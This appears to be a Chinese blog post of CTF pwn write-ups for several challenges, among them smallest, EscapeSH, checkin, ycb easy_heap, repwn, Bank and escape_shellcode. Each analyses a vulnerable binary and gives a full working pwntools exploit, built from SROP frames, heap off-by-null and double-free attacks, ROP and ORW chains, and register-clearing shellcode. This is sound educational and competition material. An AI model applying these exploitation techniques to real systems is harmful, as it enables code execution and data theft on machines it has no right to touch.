BUUCTF-pwn(18)

360chunqiu2017_smallest

整体较为简单;
在这里插入图片描述
先放个exo;较为简单;

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

binary = './smallest'
#r = remote('node4.buuoj.cn',26277)
r = process(binary)
elf = ELF(binary)

main_addr = 0x4000B0
mov_edx_400 = 0x4000B0
syscall_addr = 0x4000BE

#gdb.attach(r)
pause()
r.send(p64(main_addr) * 3)
pause()
r.send(b'\xb3')

stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))+6-0x400
success(hex(stack_addr))

sf = SigreturnFrame()
sf.rip = syscall_addr
sf.rdi = stack_addr+0x400
sf.rsp = stack_addr
sf.rax = 59
payload = p64(main_addr)+b'a'*8+bytes(sf)
sleep(0.5)
r.send(payload)

payload2 = p64(syscall_addr)+b'\x00'*7
sleep(0.5)
r.send(payload2)

r.interactive()

整体较为简单;首先输入:三个入口地址,此时再输入一字节,便可以进入sys_write,进而泄露出栈地址;可以发现存在’/bin/bash’;可以直接利用;
在这里插入图片描述
整体流程,首先输入:三个入口首地址;
再次执行sys_read函数,输入一字节,进而改变了rax返回值为1,故执行sys_write函数,进而可以泄露出栈地址;
此时我们经过布局,执行sys_sigreturn函数,将sys_execve的参数布置好,即可获取权限;当然,经过测试,发现远程无法通过,这是因为其没有本地的’/bin/bash’字符;故同时需要布置’/bin/sh\x00’字符进而获取权限;

故我们再次经过执行一次sys_sigreturn函数,此时我们将输入’/bin/bash’字符,同时将参数设置完整即可;
在这里插入图片描述
远程exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

binary = './smallest'
r = remote('node4.buuoj.cn',26277)
#r = process(binary)
elf = ELF(binary)

main_addr = 0x4000B0
mov_edx_400 = 0x4000B0
syscall_addr = 0x4000BE

#gdb.attach(r)
sleep(0.1)
r.send(p64(main_addr) * 3)
sleep(0.1)
r.send(b'\xb3')

stack_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))+6-0x400
success(hex(stack_addr))

sf = SigreturnFrame()
sf.rip = main_addr
sf.rsp = stack_addr
payload = p64(main_addr)+b'a'*8+bytes(sf)
sleep(0.1)
r.send(payload)

payload2 = p64(syscall_addr)+b'\x00'*7
sleep(0.1)
r.send(payload2)

sf.rax = 59
sf.rdi = stack_addr+0x108
sf.rip = syscall_addr
payload3 = p64(main_addr)+b'b'*8+bytes(sf)+b'/bin/sh\x00'*2
sleep(0.1)
r.send(payload3)

sleep(0.1)
r.send(p64(syscall_addr)+b'\x00'*7)

r.interactive()

BabyNote(*CTF2022(未完待续!

首先修复switch表;
在这里插入图片描述
分析伪代码;
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
程序流程较为简单,关键点位于采用了musl库;而非我们所常见的libc库;musl库是一个专门为嵌入式系统开发的轻量级 libc 库,以简单、轻量和高效率为特色。有不少 Linux 发行版将其设为默认的 libc 库,用来代替体积臃肿的 glibc ,如Alpine Linux、OpenWrt和 Gentoo 等

位于Linux之中安装musl驱动;此时方可运行附件程序;

sudo apt-get install musl-dev

但是我们需要的是能够调试libc库,此时就需要我们对其进行编译了;

CC="gcc" CXX="g++" CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error -fno-stack-protector" ./configure --prefix=/home/pwn/question/install/ --disable-werror
make 
make install

此时我们便可以使用patchelf来替换libc即可;

/lib/x86_64-linux-gnu/libc.so
首先需要替换如上路径的libc.so,如不替换则可能导致ldd命令无法使用;
pwn@pwn-virtual-machine:~/question$ ldd babynote 
	linux-vdso.so.1 (0x00007ffe5b38a000)
	/home/pwn/question/install/lib/libc.so (0x00007fc5df177000)

首先下载好musl_1.2.2-1_amd64.debmusl-dbgsym_1.2.2-1_amd64.ddeb

pwn@pwn-virtual-machine:~/question/install$ sudo dpkg -i musl_1.2.2-1_amd64.deb
pwn@pwn-virtual-machine:~/question/install$ sudo dpkg -i musl-dbgsym_1.2.2-1_amd64.ddeb
gef➤  dir /home/pwn/question/musl-1.2.2/src/malloc
Source directories searched: /home/pwn/question/musl-1.2.2/src/malloc:$cdir:$cwd
gef➤  dir /home/pwn/question/musl-1.2.2/src/malloc/mallocng
Source directories searched: /home/pwn/question/musl-1.2.2/src/malloc/mallocng:/home/pwn/question/musl-1.2.2/src/malloc:$cdir:$cwd

此时便可以拥有了调试符号;
那么我进入musl中调试调试,看看他的一个结构;

__malloc_context是musl libc的全局管理结构指针,存放在libc.so的bss段

gef➤  p __malloc_context 
$1 = {
  secret = 0x63ccfb285cf52f10,
  init_done = 0x1,
  mmap_counter = 0x0,
  free_meta_head = 0x0,
  avail_meta = 0x55d40ab7c2c0,
  avail_meta_count = 0x54,
  avail_meta_area_count = 0x0,
  meta_alloc_shift = 0x0,
  meta_area_head = 0x55d40ab7c000,
  meta_area_tail = 0x55d40ab7c000,
  avail_meta_areas = 0x55d40ab7d000 <error: Cannot access memory at address 0x55d40ab7d000>,
  active = {0x0, 0x55d40ab7c298, 0x55d40ab7c270, 0x55d40ab7c0e0, 0x0, 0x0, 0x0, 0x55d40ab7c0b8, 0x0, 0x0, 0x0, 0x55d40ab7c090, 0x0, 0x0, 0x0, 0x55d40ab7c1f8, 0x0, 0x0, 0x0, 0x55d40ab7c040, 0x0, 0x0, 0x0, 0x55d40ab7c018, 0x0 <repeats 24 times>},
  usage_by_class = {0x0, 0xf, 0xa, 0x0 <repeats 45 times>},
  unmap_seq = '\000' <repeats 31 times>,
  bounces = '\000' <repeats 31 times>,
  seq = 0x0,
  brk = 0x55d40ab7d000
}
gef➤  p *(struct meta*)0x55d40ab7c298
$2 = {
  prev = 0x55d40ab7c298,
  next = 0x55d40ab7c298,
  mem = 0x7fdb8f907c50,
  avail_mask = 0x7ff0,
  freed_mask = 0x0,
  last_idx = 0xe,
  freeable = 0x1,
  sizeclass = 0x1,
  maplen = 0x0
}
prev和next都指向本身,表示只有一个meta页,meta页由一个双向链表进行维护;
0x7fdb8f907c50是user data域;
avail_mask = 0x7ff0 = 0b111111111110000表示第0、1、2、3个chunk不可用(已经被使用);
freed_mask = 0x0表示没有chunk被释放;
last_idx = 0xe表示最后一个chunk的下标是0xe;
sizeclass = 0x1表示由0x1这个group进行管理;

如下图为__malloc_context管理结构:
在这里插入图片描述
未完待续!!!

参考链接:
musl libc浅析
musl libc探究
musl
musl题目初探
大师傅的wp

[GKCTF 2021]EsapeSH

分析函数:(可以发现是一个模拟终端设备的一个程序;
在这里插入图片描述
漏洞点:
在这里插入图片描述
函数ReadLine之中,该函数功能为将输入的命令按空格分割,每个字串将储存到堆之中,而采用了strcpy进行拷贝,进而导致逻辑漏洞的出现,即可以造成off by null漏洞;
在这里插入图片描述
故我们对上述漏洞进行分析利用
但是我们利用pwndbg进行调试的时候可能会遇到最大递归深度错误
在这里插入图片描述
此时我们使用gef插件来代替pwndbg插件即可绕过该错误;(gef查看heap没有pwndbg方便一些
泄露地址所需注意事项如下图:(按图布局进行分配chunk;
在这里插入图片描述
泄露地址这儿块比较精妙,泄露地址之后必须保持堆风水不变或者没有太大的破坏,能够为接下来对__malloc_hook该地址写入内容;
攻击成功,如图:
在这里插入图片描述
exp如下:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './EscapeSH'
r = remote('node4.buuoj.cn',25516)
#r = process(binary)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc.so.6')

def cmd(*args):
    payload = b''
    for buf in args:
        payload += buf
        payload += b' '
    r.sendline(payload)

cmd(b'a'*0x90,b'b'*0x60,b'c'*0xf0,b'd'*0x10)

for i in range(7):
    cmd(b'a'*(0x68-i))#prev_size
cmd(b'a'*0x60+b'\x10\x01')
cmd(b'a'*0xf0)#Unlink

cmd(b'a'*(0x100-1),b'b'*0x30,b'c'*0x30,b'd'*0x30,b'e'*0x30)
cmd(b'a'*0x9f)
for i in range(7):
    cmd(b'q'*(0x9f-i))
cmd(b"echo", b"a"*(0x5f),b"b"*(0x8f))#leak
malloc_hook = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10


cmd(b"a"*0xa7)
cmd(b"a"*0xa6)#将fd指针的高位置零

cmd(b'a'*0xa0+p64(malloc_hook-0x23)[:-2])
for i in range(7):
    cmd(b'q'*(0x9f-i))#布局重叠块


success(hex(malloc_hook))
#gdb.attach(r)
cmd(b'monitor',b"a"*0x60,b"b"*0x13+b"monitora"+b"c"*0x45)

r.interactive()

[GKCTF 2021]demo_catRoom

发现存在三个附件,通过搜索libc文件之中的GLIBC发现为2.27版本的GLibc;故分别分析client、server端的代码查看不同之处:(同时可以学习一下Linux之间的通信,和模拟远程登录聊天室的情况(类似ssh)

首先我们查看客户端;该主要功能是连接服务器,将每个用户的登录注销以及用户之间的交流进行通信(其中延时1s,不太理解为啥要延时,可能为了方便做题?)
在这里插入图片描述
register注册功能(client客户端
在这里插入图片描述
login登录功能(client客户端
在这里插入图片描述
broadcast聊天室功能(client客户端
在这里插入图片描述
thread线程(client客户端
在这里插入图片描述

此时我们查看Server服务器端的主体功能,实现同样没有太高的难度;
在这里插入图片描述
thread线程功能(Server服务端,可以较为清晰的查看到该实现是为了处理客户端对应的功能,以及返回数据;
在这里插入图片描述
InitUser函数(Server服务端,用于注册前的初始化;漏洞点可以发现chunk为申请的0x48大小,而接受数据为0x68大小,故存在溢出的情况;
在这里插入图片描述
register注册功能(Server服务端
在这里插入图片描述
login函数(Server服务端
在这里插入图片描述
broadcast聊天室功能(Server服务端
在这里插入图片描述
最后,泄露flag位置位于此处:
在这里插入图片描述

以上我们将大致的了解了客户端以及服务端的差异之处,及其流程;

攻击如下及分析过程:
在这里插入图片描述
此时便可以开启环境进行模拟攻击了:(首先我们获取一下IP地址

pwn@pwn-virtual-machine:~/question$ ping node4.buuoj.cn -p 26561
PATTERN: 0x265601
PING node4.buuoj.cn (117.21.200.166) 56(84) bytes of data.
^C
— node4.buuoj.cn ping 统计 —
已发送 10 个包, 已接收 0 个包, 100% 包丢失, 耗时 9203 毫秒

然后我们ssh -p25583 ctf@node4.buuoj.cn进行连接输入密码123456启动Server服务器;

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './client'
#r = process([binary,'127.0.0.1','9999'])
r = process([binary,'117.21.200.166','26561'])
elf = ELF(binary)

def register(name,passwd='123456'):
    r.sendlineafter("0 exit \n",'1')
    r.sendlineafter("input your name\n",name)
    r.sendlineafter("input your passwd\n",passwd)

def login(name,passwd='123456'):
    r.sendlineafter("0 exit \n",'2')
    r.sendlineafter("input your name\n",name)
    r.sendlineafter("input your passwd\n",passwd)

def remove(name,passwd='123456'):
    r.sendlineafter("0 exit \n",'4')
    r.sendlineafter("input your remove name\n",name)
    r.sendlineafter("input your passwd\n",passwd)


register('user0')
register('user1')
remove('user0')
register('user0',b'a'*0x30+b'admin')
login('admin')


r.interactive()

[GKCTF 2021]checkin

主体逻辑较为简单,采用针对栈溢出的溢出8字节,来利用栈迁移至bss_name上进行攻击;
在这里插入图片描述
但是我们想要利用栈迁移,则必须通过判断,admin可以利用’\x00’截断特性来绕过;而check检测密码函数:
在这里插入图片描述
在此我们将可以使用栈迁移,同时我们采用的是main函数之中的.text:00000000004018B5 call _puts来泄露地址,泄露地址之后将再次进入Login函数,此时便可以再次使用栈迁移;不过需要注意的是,此时我们第二次输入,将会覆盖第一次所出入的内容,因为此时经过泄露地址这一步之后,此时栈将位于bss上,故泄露之后的第二次输入将存在着覆盖操作,这里需要格外注意;

如下,为exp,并攻击成功;

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './login'
#r = process(binary)
r = remote('node4.buuoj.cn',25731)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc.so.6')

real_puts_addr = libc.symbols['puts']
puts_addr = 0x04018B5
puts_got = elf.got['puts']
pop_rdi_ret = 0x00401ab3
name_addr = 0x0602400
cmd = lambda str : r.sendafter(">",str)

one = [0x45226,0x4527a,0xf03a4,0xf1247]
cmd(b'admin\x00\x00\x00'+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_addr))
cmd(b'admin\x00\x00\x00'+b'a'*0x18+p64(name_addr))
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-real_puts_addr

cmd(b'admin\x00\x00\x00')
#gdb.attach(r)
cmd(b'admin\x00\x00\x00'*3+p64(libc_base+one[1])+p64(name_addr))
success(hex(libc_base))
#gdb.attach(r)

r.interactive()

在这里插入图片描述


ycb_2020_easy_heap

首先修复switch表,然后分析函数流程,如下:(较为简单;
在这里插入图片描述
而位于Edit编辑函数之中,存在明显的off by null漏洞;
在这里插入图片描述
并且其存在沙盒保护,且保护全开;并且libc为2.30版本;
在这里插入图片描述
并且位于libc2.30之中,Unlink由宏定义变为了静态函数:

/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))//判断后一块chunk的前一块是否为自身
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;//前一个结点
  mchunkptr bk = p->bk;//后一个结点

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))//判断结点是否完整
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;//删除结点
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
	  || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");//判断largebin的前后结点

      if (fd->fd_nextsize == NULL)
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }
}

还有向前合并与向后合并同样也有所更改:

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
	unlink_chunk (av, nextchunk);
	size += nextsize;
      } else
	clear_inuse_bit_at_offset(nextchunk, 0);

此时我们就不能随随便便的利用堆块合并来造成堆块重叠了;
调试过程中的一些:
在这里插入图片描述

此时Free掉0x559726c8dff0(深蓝)地址的堆块,将会合并到上方位置,直接变成了一个0x201大小的unsortedbin;这里需要注意的是,因为版本为libc2.30,所以需要先将0x100的tcachebins填充满,此时才能合并堆块;
在这里插入图片描述

沙盒保护setcontext的一些利用姿势;此时我们就可以控制寄存器啦;从而构造好ROP链子,orw获取flag;

在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './ycb_2020_easy_heap'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

def Allocate(size=0x18):
    r.sendlineafter("Choice:",'1')
    r.sendlineafter("Size: ",str(size))

def Edit(idx,payload=b'/bin/sh\x00'):
    r.sendlineafter("Choice:",'2')
    r.sendlineafter("Index: ",str(idx))
    r.sendlineafter("Content: \n",payload)

def Free(idx):
    r.sendlineafter("Choice:",'3')
    r.sendlineafter("Index: ",str(idx))

def Show(idx):
    r.sendlineafter("Choice:",'4')
    r.sendlineafter("Index: ",str(idx))


Allocate(0x418)#0
Allocate(0x18) #1
Allocate(0x18) #2
for i in range(0xb):
    Allocate(0xf8)#3-13

Free(0)
Allocate(0x418)#0
Show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols['__malloc_hook']

Free(1)
Free(2)
Allocate(0x18)#1
Allocate(0x18)#2
Show(1)
r.recvuntil("Content: ")
heap_addr = u64(r.recv(6).ljust(8,b'\x00'))-0x6c0

for i in range(7):
    Free(3+i)#3-9
target = heap_addr+0xef0
Edit(11,p64(target+0x8)+p64(target+0x10)+p64(target)+b'a'*0xd8+p64(0x100))
Free(12)#Unlink 堆块合并重叠

for i in range(10):
    Allocate(0xf8)#3-9、12、14、15    11与12重叠啦
Free(10)
Free(12)#可以利用11修改fd指针
Edit(11,p64(libc_base+libc.symbols['__free_hook']))
Allocate(0xf8)#10
Allocate(0xf8)#12 -> __free_hook

Free(13)
Free(10)
Edit(11,p64(libc_base+libc.symbols['__free_hook']+0xf8))#进行拼凑payload
Allocate(0xf8)#10
Allocate(0xf8)#13  -> __free_hook+0xf8

######构造payload
pop_rdi_ret     = 0x0000000000023b72 + libc_base
pop_rsi_ret     = 0x000000000002604f + libc_base
pop_rdx_r12_ret = 0x0000000000119241 + libc_base

fake_frame_addr = libc.symbols['__free_hook'] + 0x10 + libc_base
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_ret + 1  # : ret
rop_data = [
    libc.symbols['open'] + libc_base,
    pop_rdx_r12_ret,
    0x100,                      #   pop rdx
    0,                          #   pop r12
    pop_rdi_ret,                #   ret
    3,                          #   pop rdi
    pop_rsi_ret,                #   ret
    fake_frame_addr + 0x200,    #   pop rsi     储存flag位置
    libc.symbols['read'] + libc_base,#   ret
    pop_rdi_ret,                #   ret
    fake_frame_addr + 0x200,    #   pop rdi     储存flag位置
    libc.symbols['puts'] + libc_base#   ret
]

gadget = libc_base +0x00000000001518b0# : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
frame_data = bytes(frame).ljust(0xf8,b'\x00')
payload = p64(gadget)+p64(fake_frame_addr)+frame_data[:0x20]+p64(libc_base+libc.symbols['setcontext']+61)+frame_data[0x28:]+b"flag\x00\x00\x00\x00"+p64(0)+flat(rop_data)
Edit(13, payload[0xf8:])
Edit(12, payload[:0xf8])
######

success(hex(heap_addr))
success(hex(libc_base))
#gdb.attach(r,'b free')
Free(12)


r.interactive()

这里本地因为没有libc2.30,所以用到是libc2.31版本,本地通过;远程的话需要修改为libc2.30的数值,进而获取flag
在这里插入图片描述


ycb_2020_repwn

函数主体流程:(存在UAF漏洞,并且存在沙盒保护,同时存在Re逆向的加解密;
在这里插入图片描述
相当于在libc2.23之上的大杂烩;(难度不大,但是流程比较长,毕竟啥都有;
在这里插入图片描述
利用UAF在libc2.23上的fastbin的double free来造成有限制的任意地址写,往栈上返回地址写入ROP链(canary虽然开启,但是该题目中大部分函数并没有canary);利用orw回显flag;
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './ycb_2020_repwn'
#r = process(binary)
r = remote('node4.buuoj.cn',29377)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.23.so')

def Allocate(size,payload=b'/bin/sh\x00'):
    r.sendlineafter("your choice:",'1')
    r.sendlineafter("how long?",str(size))
    r.send(payload)

def Free(idx):
    r.sendlineafter("your choice:",'3')
    r.sendlineafter("which one?",str(idx))

def dec(res):
    v5 = [51,18,120,36]
    v9 = 9
    v7 = 0x26a77aaa
    while v9 > 0:
        v10 = (v7 >> 2) & 3
        for i in range(15,-1,-1):
            v6 = res[(i-1+16)%16]
            res[i] -= (((v6 >> 7) ^ 8 * res[(i + 1)%16]) + ((res[(i + 1)%16] >> 2) ^ 32 * v6) - 33) ^ ((res[(i + 1)%16] ^ v7 ^ 0x57)+ (v6 ^ v5[v10 ^ i & 3])+ 63)
            res[i] &= 0xff
        v7 -= 0x76129BDA
        v7 &= 0xffffffff
        v9 -= 1

r.sendlineafter("your choice:",'2')#leak
r.sendline()
rev = r.recv(0x10)
res = []
print(rev[0])
for i in range(len(rev)):
    res.append(rev[i])
dec(res)
addr = ''
for i in range(len(rev)):
    addr += chr(res[i])

libc_base  = u64(addr[:8].ljust(8,'\x00'))-0x5F1A88
stack_addr = u64(addr[8:].ljust(8,'\x00'))

Allocate(0x68)#0
Allocate(0x68)#1
Allocate(0x68)#2
Free(0)
Free(1)
Free(0)#double free
Allocate(0x68,p64(stack_addr-0xf3))

pop_rdi_ret = 0x0000000000021102 + libc_base
pop_rsi_ret = 0x00000000000202e8 + libc_base
pop_rdx_ret = 0x0000000000001b92 + libc_base
pop_rax_ret = 0x0000000000033544 + libc_base# 0x000000000003a718
pop_rsp_ret = 0x0000000000003838 + libc_base
open_addr  = libc.symbols['open']  + libc_base
read_addr  = libc.symbols['read']  + libc_base
write_addr = libc.symbols['write'] + libc_base
payload  = b'a'*3+p64(pop_rdx_ret)+p64(0x200)+p64(read_addr)+p64(pop_rsp_ret)+p64(stack_addr)
payload += flat([pop_rdi_ret,0,pop_rsi_ret,stack_addr,pop_rsp_ret,stack_addr-0xe0])

Allocate(0x68)#3
Allocate(0x68)#4
success("libc_base -> "+hex(libc_base))
success("stack_addr -> "+hex(stack_addr))
#gdb.attach(r)
Allocate(0x68,payload)#5

payload2  = flat([pop_rdi_ret,stack_addr+0xa8,pop_rsi_ret,4,pop_rdx_ret,4,open_addr])
payload2 += flat([pop_rdi_ret,3,pop_rsi_ret,stack_addr+0xb0,pop_rdx_ret,0x50,read_addr])
payload2 += flat([pop_rdi_ret,1,pop_rsi_ret,stack_addr+0xb0,pop_rdx_ret,0x50,write_addr])
payload2  = payload2.ljust(0xa0,b'b')+b'./flag\x00\x00\x00\x00' 
sleep(0.2)
r.sendline(payload2)

r.interactive()

Bank(2022bluehat)

主体流程:(关键函数Transfer
在这里插入图片描述
Transfer函数如下所示:(可以明显看到,漏洞较多,但是限制同样多
在这里插入图片描述
Transfer函数之中的leak函数
在这里插入图片描述
这里我们再来联合看下Transfer函数之中的Realloc函数Free函数:(这里的free函数实际上是释放掉任何地址上的堆块;而Realloc函数之中隐含着潜在的free函数;并且Free函数与Realloc函数之间公用ptr变量。
在这里插入图片描述
在这里插入图片描述
此时可以发现任意地址些writeAddr函数之中,存在着exit函数;表示在退出之前仅有一次任意地址写漏洞;
在这里插入图片描述
故我们需要利用好这个任意地址写漏洞,写入exit函数之中所必要的一些函数指针,修改其为gadget即可;

如下为exit函数的具体实现,我们可以看到存在着循环将IO之类的内容free释放掉;其中存在着三个关键call,指向着_dl_fini函数,其中涉及到了_rtld_global结构体,存在着两个可修改为gadget的函数指针:(_dl_rtld_lock_recursive与_dl_rtld_unlock_recursive)

void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;

      __libc_lock_lock (__exit_funcs_lock);

    restart:
      cur = *listp;

      if (cur == NULL)
	{
	  /* Exit processing complete.  We will not allow any more
	     atexit/on_exit registrations.  */
	  __exit_funcs_done = true;
	  __libc_lock_unlock (__exit_funcs_lock);
	  break;
	}

      while (cur->idx > 0)
	{
	  struct exit_function *const f = &cur->fns[--cur->idx];
	  const uint64_t new_exitfn_called = __new_exitfn_called;

	  /* Unlock the list while we call a foreign function.  */
	  __libc_lock_unlock (__exit_funcs_lock);
	  switch (f->flavor)
	    {
	      void (*atfct) (void);
	      void (*onfct) (int status, void *arg);
	      void (*cxafct) (void *arg, int status);

	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
	      PTR_DEMANGLE (onfct);
#endif
	      onfct (status, f->func.on.arg);
	      break;
	    case ef_at:
	      atfct = f->func.at;
#ifdef PTR_DEMANGLE
	      PTR_DEMANGLE (atfct);
#endif
	      atfct ();
	      break;
	    case ef_cxa:
	      /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
		 we must mark this function as ef_free.  */
	      f->flavor = ef_free;
	      cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
	      PTR_DEMANGLE (cxafct);
#endif
	      cxafct (f->func.cxa.arg, status);
	      break;
	    }
	  /* Re-lock again before looking at global state.  */
	  __libc_lock_lock (__exit_funcs_lock);

	  if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
	    /* The last exit function, or another thread, has registered
	       more exit functions.  Start the loop over.  */
	    goto restart;
	}

      *listp = cur->next;
      if (*listp != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (cur);

      __libc_lock_unlock (__exit_funcs_lock);
    }

  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());

  _exit (status);
}

在这里插入图片描述
exp如下:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './Bank'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

def Login():
    r.sendlineafter("Click: ","Login")
    r.sendlineafter("Card Numbers: ",'0123456789')
    r.sendlineafter("Password: ",'123456')

def Transfer(cmd,money,addr='',data=b'/bin/sh\x00',size=0x18):
    r.sendlineafter("Click: ","Transfer")
    r.sendlineafter("who? ",str(cmd))
    r.sendlineafter("How much? ",str(money))
    if cmd == "admin":# leak
        r.recvuntil("I think ")
        bss_flag_addr = r.recvuntil(" is useful.")
        return bss_flag_addr[:-11]
    elif cmd == "hacker":# Free
        r.sendlineafter("hacker: Great!\n",str(addr))
    elif cmd == "guest":# Allocate
        r.sendafter("data: ",data)
    elif cmd == "ghost":# Realloc
        r.sendlineafter("ghost: &^%$#@!   :)\n",str(size))
    elif cmd == "abyss":# writeAddr
        sleep(0.2)
        r.send(str(addr))
    
def Put(money):#取钱
    r.sendlineafter("Click: ","Put")
    r.sendlineafter("How Much?",str(money))

def Deposit(money):#存钱
    r.sendlineafter("Click: ","Deposit")
    r.sendlineafter("How Much?",str(money))

Info = lambda : r.sendlineafter("Click: ","Info")
Quit = lambda : r.sendlineafter("Click: ","Quit")

one = [0xe3b2e,0xe3b31,0xe3b34]
Login()
Info()
Put(400)
for i in range(5):
    Transfer("ghost",11,size=(0xb0+i*0x10))
    Transfer("guest",6,data=b'a'*8+p64(0x21))
Transfer("guest",6,data=b'b'*8+p64(0x21))
Transfer("guest",6,data=b'/bin/sh\x00')
# leak <-- tcachebins[0xd0][0/1]
heap_addr = int(Transfer("admin",33),16)-0x10# heap_addr基地址

Transfer("hacker",0x33,heap_addr+0x390)# tcachebins[0xd0][0/1] - 0x10 UAF
Transfer("guest",6,data=b'h'*0x8+p64(0x441))# unsortedbin[all][0]

Transfer("hacker",0x33,heap_addr+0x3a0)# UAF
libc_base = int(Transfer("admin",33),16)-96-0x10-libc.symbols['__malloc_hook']# leak

Transfer("hacker",0x33,heap_addr+0x2a0)# UAF bss_flag_chunk
Transfer("guest",6,data=p64(libc_base+0x238F68)*2)# p &_rtld_global._dl_rtld_lock_recursive


success("heap_addr -> "+hex(heap_addr))
success("libc_base -> "+hex(libc_base))
#gdb.attach(r)
Transfer("abyss",0,libc_base+one[0])

r.interactive()

escape_shellcode(2022bluehat)

这道题目是写shellcode,程序首先将flag读入到了bss端上(写shellcode应该好写)但是程序却将除寄存器rip之外的所有寄存器清空;这样我们就无法去利用这些寄存器来得到flag的地址;
但是存在着一些特殊的寄存器,比如fs、gs等;我们可以利用这些寄存器来得到栈地址,从而得到code段基地址

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './escape_shellcode'
#r = process(binary)
r = remote('39.106.154.121', 26325)
elf = ELF(binary)

shellcode1 = '''
mov rsp,fs:[0x300];
pop rdi;
mov r12,rdi;
add rdi,0x2B90;
sub r12,0x91;
jmp r12;
'''
shellcode2 = '''
mov rsp,fs:[0x300];
pop rsi;
mov rdi,1;
mov rdx,0x100;
add rsi,0x2B90;
mov rax,1;
syscall;
'''
shellcode3 = '''
mov rsp,fs:[0x300];
sub rsp,0x68;
pop rdi;
mov r12,rdi;
add rdi,0x2DB7;
add r12,0x196
jmp r12;
'''
#gdb.attach(r)
payload = asm(shellcode3)
r.sendline(payload)

r.interactive()

shellcode1和shellcode2是本地可以通,远程不可通的,而shellcode3是远程可通的;这里还是注意下远程本地的不同(这里可麻烦了,因为不知道远程的一些情况;


posted @ 2022-07-10 15:15  望权栈  阅读(60)  评论(0编辑  收藏  举报  来源